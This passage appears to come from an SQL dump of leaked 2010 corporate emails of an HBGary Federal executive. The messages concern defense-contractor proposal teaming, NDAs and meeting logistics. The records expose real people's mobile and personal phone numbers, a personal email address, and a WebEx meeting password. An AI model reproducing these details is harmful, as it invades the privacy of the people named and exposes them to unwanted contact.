RE: Aaron Barr \r\n\r\n\r\n\r\nI’m off tomorrow (9/80) – got to head to Huntsville and take\r\ncare of some things with my house.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike Rushing\r\n\r\nContracts Manager\r\n\r\nNorthrop Grumman - Xetron\r\n\r\nTelephone: (513) 881-3263\r\n\r\nMobile: (513) 473-9498\r\n\r\nFax:&nbsp; (513) 881-3882\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Thursday, February 18, 2010 5:35 PM\r\nTo: Rushing, Michael A. (Xetron)\r\nSubject: Re: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSorry mike. Our meeting ran long. What does tomorrow look like?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rushing, Michael A. (Xetron) \r\nTo: Masterson, Brian (Xetron) \r\nSent: Thu Feb 18 16:29:06 2010\r\nSubject: RE: Aaron Barr \r\n\r\n\r\n\r\nAm still here (and will be for a while) – bring Aaron by if you\r\nhave time.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike Rushing\r\n\r\nContracts Manager\r\n\r\nNorthrop Grumman - Xetron\r\n\r\nTelephone: (513) 881-3263\r\n\r\nMobile: (513) 473-9498\r\n\r\nFax:&nbsp; (513) 881-3882\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian\r\n(Xetron) \r\nSent: Thursday, February 18, 2010 11:02 AM\r\nTo: Rushing, Michael A. (Xetron)\r\nSubject: RE: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks Mike!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rushing, Michael A.\r\n(Xetron) \r\nSent: Thursday, February 18, 2010 11:01 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nIn Exec CR for UGS proposal mtg - should be done soon. Will contact\r\nyou then.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Masterson, Brian (Xetron) \r\nTo: Rushing, Michael A. (Xetron) \r\nSent: Thu Feb 18 09:58:56 2010\r\nSubject: Aaron Barr \r\n\r\n\r\n\r\nMike,\r\n\r\nAaron is here.&nbsp; We\r\nstopped by your office but you were not there.&nbsp; Can you give me a page\r\nwhen you are available?&nbsp; We have meetings starting at 12 and going through\r\n5. So, before 12, if you can, would\r\nbe great.\r\n\r\nBrian\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',10084,'aaron_hbgary_com/10084.html'),(3101,'2010-02-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001461.M872153P3547Q3101.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,,,','RE: Cyber Genome Proposal Effort - Supplemental Reps/Certs','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCindy,\r\n\r\n&nbsp;\r\n\r\nYes, I sent it to Aaron Barr of HBGary Federal.&nbsp; His email is aaron@hbgary.com. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Thursday, February 25, 2010 1:27 PM\r\nTo: Bob Slapnik\r\nCc: Brown, Glenn M.; Corcino, Stefanie E.; penny@hbgary.com\r\nSubject: RE: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThank\r\nyou for your email Bob.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI\r\nlearned the work scope will be covered by HBGary Federal.&nbsp;&nbsp; Can you\r\nforward or ensure the Reps/Certs are completed for HBGary Federal?\r\n\r\n&nbsp;\r\n\r\nPlease\r\nadvise, thanks.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nCindy\r\nLarson\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Thursday, February 25, 2010 9:25 AM\r\nTo: Larson, Cindy S.; penny@hbgary.com\r\nCc: Brown, Glenn M.; Corcino, Stefanie E.\r\nSubject: RE: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\n\r\nPenny,\r\n\r\n&nbsp;\r\n\r\nI am passing this email to Aaron Barr as I think he is the one\r\nwho would handle this.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary,\r\nInc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Larson, Cindy S.\r\n[mailto:Cindy.Larson@gd-ais.com] \r\nSent: Thursday, February 25, 2010 10:50 AM\r\nTo: penny@hbgary.com\r\nCc: Brown, Glenn M.; Corcino, Stefanie E.; bob@hbgary.com\r\nSubject: Cyber Genome Proposal Effort - Supplemental Reps/Certs\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGood Morning\r\nMs. Leavy,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn support of\r\nthe subject proposal effort please complete the attached Supplemental\r\nRepresentations and Certifications&nbsp;and return to me by COB today.&nbsp;\r\nThis information will assist GDAIS in determining the correct\r\nproposal/subcontract type for your company.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf you have\r\nany questions please call me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe look\r\nforward to working with your company on this proposal.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCindy Larson\r\n\r\n\r\n\r\n\r\n\r\nGDAIS Sr.\r\nLead Specialist, Contracts\r\n\r\n\r\n\r\n\r\n\r\n480-441-4235\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/25/10\r\n02:34:00\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/25/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4851,'aaron_hbgary_com/4851.html'),(3102,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001462.M449213P3547Q3102.eml','\"Akey, Mark L.\" <mark.akey@ngc.com>,\"Aaron Barr\" <aaron@hbgary.com>','Full Spectrum Cyber Operations Technology - Federal Business Opportunities: Opportunities','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed to read the fine print:\r\n\r\n&nbsp;\r\n\r\nAdded: Feb 25, 2010 11:30 am \r\n\r\nThe purpose of this\r\nmodification is to notify respondents that the submission date for FY10 white\r\npapers and funding consideration should be 31 March 2010. All other information\r\nremains the same\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&amp;mode=form&amp;id=05d02fc08eb9b85d4b0a797a2a908af7&amp;tab=core&amp;_cview=1\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14615,'aaron_hbgary_com/14615.html'),(3103,'2010-02-25','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001464.M389059P3547Q3104.eml','\"Phil Porras\" <porras@csl.sri.com>,\"Aaron Barr\" <aaron@hbgary.com>','GD / Fidelis Security discussion','\r\n\r\n\r\n\r\n\r\nGD / Fidelis Security discussion\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD / Fidelis Security discussion (Fidelis has innovative cyber security solutions and works with HBGary)\r\n\r\nhttp://www.fidelissecurity.com/\r\n\r\n866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\nWebEx link will be sent right before the meeting\r\n\r\n(apologies for the short notice)\r\n\r\n\r\n\r\n\r\n',11175,'aaron_hbgary_com/11175.html'),(3104,'2010-02-25','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001464.M48296P3547Q3103.eml','aaron@hbgary.com,aaron@hbgary.com','NDA Between HBGary Federal and GDAIS - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nHello Mr. \r\nBarr,\r\n&nbsp;\r\nAs I am unfamiliar with the \r\nbusiness relationship between HBGary, Inc. and HBGary Federal I\'ve attached for \r\nyour review the NDA recently executed between GDAIS and HBGary, Inc.&nbsp;in \r\nsupport of the Cyber Genome Proposal activities.\r\n&nbsp;\r\nPlease review this document \r\nand advise if the NDA should be amended to also identify HBGary Federal, or if \r\nHBGary Federal is covered as described by the legal business name in the \r\npreamble.\r\n&nbsp;\r\nPlease advise \r\nASAP.\r\n&nbsp;\r\nThank \r\nyou,\r\n&nbsp;\r\nCindy \r\nLarson\r\nGDAIS Sr. Lead Specialist, \r\nContracts\r\n480-441-4235\r\n&nbsp;\r\n&nbsp;\r\n',13010,'aaron_hbgary_com/13010.html'),(3105,'2010-02-25','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001464.M602986P3547Q3105.eml','\"Aaron Barr\" <aaron@hbgary.com>','Talked to GD','\r\n\r\n\r\n\r\n\r\nTalked to GD\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\nI talked to GD.&nbsp; We need to get NDAs exchanged to facilitate further discussions.&nbsp; Chris mentioned use of SRI and UC/Berkley.&nbsp; At the end, he mentioned that they would prime and would give us whatever hours we want.&nbsp; I said that we were planning on priming and that I do not have the authority to change that.&nbsp; He understand and we agreed to discuss further.\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',7003,'aaron_hbgary_com/7003.html'),(3106,'2010-02-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001464.M773178P3547Q3106.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,','Introduction','Aaron,\r\n\r\nI\'d like to introduce you to Jim Butterworth, Sr. Dir of Cyber\r\nSecurity with Guardian.  He\'s going to be in DC next week and I think\r\nit would be beneficial if you two could link up to meet face-to-face\r\nand discuss future teaming opportunities.\r\n\r\nHis contact info is below.\r\n\r\nTed\r\n\r\n\r\nJim Butterworth\r\nSr. Dir of Cyber Security\r\n(626)381-8574 (Work cell)\r\n(951)850-1203 (personal cell)\r\nEmailbot@me.com (pers email)\r\n',3722,'aaron_hbgary_com/3722.html'),(3107,'2010-02-25','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001464.M990428P3547Q3107.eml','\"Aaron Barr\" <aaron@hbgary.com>','available to talk later','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nAre you available to talk later?&nbsp; (or right now?)\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6706,'aaron_hbgary_com/6706.html'),(3108,'2010-02-25','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001465.M203634P3547Q3108.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Quinones, Cesar\" <Cesar.Quinones@gd-ais.com>,\"Carpenter, Michael W.\" <Michael.Carpenter@gd-ais.com>,\"Griffin, Eileen P.\" <Eileen.P.Griffin@gd-ais.com>,\"Rabideau, Tim J.\" <Tim.Rabideau@gd-ais.com>,\"Lotas, Michael S.\" <Michael.Lotas@gd-ais.com>,\"Salgado, Orlando\" <Orlando.Salgado@gd-ais.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Aaron Barr\" <aaron@hbgary.com>','GD / Fidelis Security discussion','\r\n\r\n\r\n\r\n\r\nGD / Fidelis Security discussion\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 25, 2010 4:00 PM-5:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGD / Fidelis Security discussion (Fidelis has innovative cyber security solutions and works with HBGary)\r\n\r\nhttp://www.fidelissecurity.com/\r\n\r\n866-765-5631, code 5057292#&nbsp; and WebEx\r\n\r\nWebEx:\r\n\r\nThe dial in and webex meeting information is below. \r\n\r\n\r\n866-765-5631, code 5057292# \r\n\r\nGD / Fidelis discussion\r\n\r\nMeeting Number: 992 482 221\r\nMeeting Password: cyber\r\nTo join the online meeting\r\n1. Go to https://gdais.webex.com/gdais/j.php?ED=123758837&amp;UID=0&amp;PW=773b6c2fe14f17181d11\r\n2. Enter your name and email address.\r\n3. Enter the meeting password: cyber\r\n4. Click &quot;Join Now&quot;.\r\n\r\nFor assistance\r\nchris.starr@gd-ais.com\r\n1-571-216-6140 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1656,'aaron_hbgary_com/1656.html'),(3109,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001465.M386095P3547Q3109.eml','\"John Farrell\" <john@endgames.us>','Meeting?','Hey John,\r\n\r\nGive me a call...\r\n\r\n From my iPhone\r\n',5159,'aaron_hbgary_com/5159.html'),(3110,'2010-02-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001465.M571050P3547Q3110.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: available to talk later','Yep.  I will call u after this call.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 25, 2010, at 3:41 PM, \"Starr, Christopher H.\"  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n>\r\n> Are you available to talk later?  (or right now?)\r\n>\r\n>\r\n>\r\n> Chris\r\n>\r\n>\r\n',4475,'aaron_hbgary_com/4475.html'),(3111,'2010-02-25','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>','/aaron@hbgary.com/new/1297001465.M767935P3547Q3111.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Team with HBGary?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s finalize teaming. Are you available on Friday, Feb 19 at\r\n10 AM or 2 PM? \r\n\r\n&nbsp;\r\n\r\nDo you want to have a business discussion only at that time, or\r\nalso discuss technical approaches and proposal? If the former, it will be just\r\nme. If the latter, I&#8217;ll have a sr engineer join the discussion.\r\n\r\n&nbsp;\r\n\r\nAnita\r\n\r\n&nbsp;\r\n\r\nAnita D\'Amico, Ph.D.\r\n\r\nApplied Visions, Inc. (AVI) \r\n\r\nDirector, Secure Decisions Division\r\n\r\n6 Bayview Avenue, Northport, NY 11768-1502\r\n\r\nhttp://SecureDecisions.avi.com\r\n\r\n(631) 754-4920 ext. 147\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13463,'aaron_hbgary_com/13463.html'),(3112,'2010-02-25','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297001465.M958264P3547Q3112.eml','aaron@hbgary.com','Re: Meeting?','Sorry just out of scif\r\n\r\nListen 2 ur voicrmail\r\nJohn M Farrell\r\nVP Federal, Endgame Systems\r\n703.622.9025 M\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Thu Feb 25 15:05:54 2010\nSubject: Meeting?\r\n\r\nHey John,\r\n\r\nGive me a call...\r\n\r\n From my iPhone\r\n',10509,'aaron_hbgary_com/10509.html'),(3113,'2010-02-25','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001466.M169447P3547Q3113.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Palantir govcon apr 7','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nJust wanted to let you guys know that we are still tracking\r\nfor a demo station for any integration you put together before our Government\r\nConference in April.&nbsp; Any cool progress made thus far? \r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12550,'aaron_hbgary_com/12550.html'),(3114,'2010-02-25','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001466.M452265P3547Q3114.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nApologies for the slow response - do you mind resending in .doc or pdf format. I use a Mac, but do not have Pages installed.\r\n\r\n	-irby\r\n\r\n\r\nOn Feb 24, 2010, at 7:53 AM, Aaron Barr wrote:\r\n\r\n> Hi Irby,\r\n> \r\n> Attached is our NDA.  Let me know if you have some time this afternoon or tomorrow for your team to discuss.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',2939,'aaron_hbgary_com/2939.html'),(3115,'2010-02-26','\"Irby Thompson\" <irby@pikewerks.com>','/aaron@hbgary.com/new/1297001467.M292679P3547Q3115.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: DARPA BAA','Aaron,\r\n\r\nPlease find the signed NDA attached. Once you guys have countersigned, let\'s arrange a time to begin discussion.\r\n\r\n	Regards,\r\n	Irby\r\n\r\n',6724,'aaron_hbgary_com/6724.html'),(3116,'2010-02-26','\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>','/aaron@hbgary.com/new/1297001467.M524821P3547Q3116.eml','ted@hbgary.com,aaron@hbgary.com,ted@hbgary.com','Re: Introduction','Lol, close...  Starts with a \"G\"...\r\n\r\nGuidance Software, vice Guardian.\r\n\r\nAll else is spot on.\r\n\r\nJim\r\n\r\nJim Butterworth\r\nEnCE, GCIA, GSNA, GREM\r\nSenior Director of Cyber Security\r\nGuidance Software, Inc\r\n626.381.8574\r\n\r\n*** Sent while Mobile ***\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera \r\nTo: Barr Aaron \r\nCC: Rich Cummings\" ; Butterworth, Jim\r\nSent: Thu Feb 25 12:29:28 2010\r\nSubject: Introduction\r\n\r\nAaron,\r\n\r\nI\'d like to introduce you to Jim Butterworth, Sr. Dir of Cyber\r\nSecurity with Guardian.  He\'s going to be in DC next week and I think\r\nit would be beneficial if you two could link up to meet face-to-face\r\nand discuss future teaming opportunities.\r\n\r\nHis contact info is below.\r\n\r\nTed\r\n\r\n\r\nJim Butterworth\r\nSr. Dir of Cyber Security\r\n(626)381-8574 (Work cell)\r\n(951)850-1203 (personal cell)\r\nEmailbot@me.com (pers email)\r\n\r\nNote: The information contained in this message may be privileged and\r\nconfidential and thus protected from disclosure. If the reader of this\r\nmessage is not the intended recipient, or an employee or agent responsible \r\nfor delivering this message to the intended recipient, you are hereby\r\nnotified that any dissemination, distribution or copying of this\r\ncommunication is strictly prohibited.  If you have received this\r\ncommunication in error, please notify us immediately by replying to the \r\nmessage and deleting it from your computer.  Thank you.\r\n\r\n',1521,'aaron_hbgary_com/1521.html'),(3117,'2010-02-26','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297001467.M715728P3547Q3117.eml','\"Aaron Barr\" <aaron@hbgary.com>','David Etue has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and David are now connected.\r\n\r\n \r\n   \r\n   View David\'s profile to:\r\n     \r\n       Download David\'s current contact information\r\n       Write a recommendation for David\r\n       Find opportunities through David\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/336124/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',14165,'aaron_hbgary_com/14165.html'),(3118,'2010-02-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001467.M914362P3547Q3118.eml','\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>,\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>,','Re: Introduction','Ha funny.  Good start Ted.  Definately let\'s get together. My week is\r\nwide open... working proposals.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Feb 25, 2010, at 7:41 PM, \"Butterworth, Jim\"\r\n wrote:\r\n\r\n> Lol, close...  Starts with a \"G\"...\r\n>\r\n> Guidance Software, vice Guardian.\r\n>\r\n> All else is spot on.\r\n>\r\n> Jim\r\n>\r\n> Jim Butterworth\r\n> EnCE, GCIA, GSNA, GREM\r\n> Senior Director of Cyber Security\r\n> Guidance Software, Inc\r\n> 626.381.8574\r\n>\r\n> *** Sent while Mobile ***\r\n>\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera \r\n> To: Barr Aaron \r\n> CC: Rich Cummings\" ; Butterworth, Jim\r\n> Sent: Thu Feb 25 12:29:28 2010\r\n> Subject: Introduction\r\n>\r\n> Aaron,\r\n>\r\n> I\'d like to introduce you to Jim Butterworth, Sr. Dir of Cyber\r\n> Security with Guardian.  He\'s going to be in DC next week and I think\r\n> it would be beneficial if you two could link up to meet face-to-face\r\n> and discuss future teaming opportunities.\r\n>\r\n> His contact info is below.\r\n>\r\n> Ted\r\n>\r\n>\r\n> Jim Butterworth\r\n> Sr. Dir of Cyber Security\r\n> (626)381-8574 (Work cell)\r\n> (951)850-1203 (personal cell)\r\n> Emailbot@me.com (pers email)\r\n>\r\n> Note: The information contained in this message may be privileged and\r\n> confidential and thus protected from disclosure. If the reader of this\r\n> message is not the intended recipient, or an employee or agent\r\n> responsible\r\n> for delivering this message to the intended recipient, you are hereby\r\n> notified that any dissemination, distribution or copying of this\r\n> communication is strictly prohibited.  If you have received this\r\n> communication in error, please notify us immediately by replying to\r\n> the\r\n> message and deleting it from your computer.  Thank you.\r\n>\r\n',8558,'aaron_hbgary_com/8558.html'),(3119,'2010-02-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001468.M112539P3547Q3119.eml','\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>,\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>,','Re: Introduction','Funny, I had guardian on my mind, a proposal we just submitted, I was\r\ntelling you about it earlier today...\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 4:41 PM, \"Butterworth, Jim\"\r\n wrote:\r\n\r\n> Lol, close...  Starts with a \"G\"...\r\n>\r\n> Guidance Software, vice Guardian.\r\n>\r\n> All else is spot on.\r\n>\r\n> Jim\r\n>\r\n> Jim Butterworth\r\n> EnCE, GCIA, GSNA, GREM\r\n> Senior Director of Cyber Security\r\n> Guidance Software, Inc\r\n> 626.381.8574\r\n>\r\n> *** Sent while Mobile ***\r\n>\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera \r\n> To: Barr Aaron \r\n> CC: Rich Cummings\" ; Butterworth, Jim\r\n> Sent: Thu Feb 25 12:29:28 2010\r\n> Subject: Introduction\r\n>\r\n> Aaron,\r\n>\r\n> I\'d like to introduce you to Jim Butterworth, Sr. Dir of Cyber\r\n> Security with Guardian.  He\'s going to be in DC next week and I think\r\n> it would be beneficial if you two could link up to meet face-to-face\r\n> and discuss future teaming opportunities.\r\n>\r\n> His contact info is below.\r\n>\r\n> Ted\r\n>\r\n>\r\n> Jim Butterworth\r\n> Sr. Dir of Cyber Security\r\n> (626)381-8574 (Work cell)\r\n> (951)850-1203 (personal cell)\r\n> Emailbot@me.com (pers email)\r\n>\r\n> Note: The information contained in this message may be privileged and\r\n> confidential and thus protected from disclosure. If the reader of this\r\n> message is not the intended recipient, or an employee or agent\r\n> responsible\r\n> for delivering this message to the intended recipient, you are hereby\r\n> notified that any dissemination, distribution or copying of this\r\n> communication is strictly prohibited.  If you have received this\r\n> communication in error, please notify us immediately by replying to\r\n> the\r\n> message and deleting it from your computer.  Thank you.\r\n>\r\n',185,'aaron_hbgary_com/185.html'),(3120,'2010-02-26','\"Butterworth, Jim\" <jim.butterworth@guidancesoftware.com>','/aaron@hbgary.com/new/1297001468.M309633P3547Q3120.eml','ted@hbgary.com,ted@hbgary.com,','Re: Introduction','Yeah, I knew it...\r\n\r\n;-)\r\n\r\n\r\n\r\nJim Butterworth\r\nEnCE, GCIA, GSNA, GREM\r\nSenior Director of Cyber Security\r\nGuidance Software, Inc\r\n626.381.8574\r\n\r\n*** Sent while Mobile ***\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera \r\nTo: Butterworth, Jim\r\nCC: aaron@hbgary.com ; rich@hbgary.com \r\nSent: Thu Feb 25 17:11:12 2010\r\nSubject: Re: Introduction\r\n\r\nFunny, I had guardian on my mind, a proposal we just submitted, I was\r\ntelling you about it earlier today...\r\n\r\n\r\n\r\n\r\nOn Feb 25, 2010, at 4:41 PM, \"Butterworth, Jim\"\r\n wrote:\r\n\r\n> Lol, close...  Starts with a \"G\"...\r\n>\r\n> Guidance Software, vice Guardian.\r\n>\r\n> All else is spot on.\r\n>\r\n> Jim\r\n>\r\n> Jim Butterworth\r\n> EnCE, GCIA, GSNA, GREM\r\n> Senior Director of Cyber Security\r\n> Guidance Software, Inc\r\n> 626.381.8574\r\n>\r\n> *** Sent while Mobile ***\r\n>\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera \r\n> To: Barr Aaron \r\n> CC: Rich Cummings\" ; Butterworth, Jim\r\n> Sent: Thu Feb 25 12:29:28 2010\r\n> Subject: Introduction\r\n>\r\n> Aaron,\r\n>\r\n> I\'d like to introduce you to Jim Butterworth, Sr. Dir of Cyber\r\n> Security with Guardian.  He\'s going to be in DC next week and I think\r\n> it would be beneficial if you two 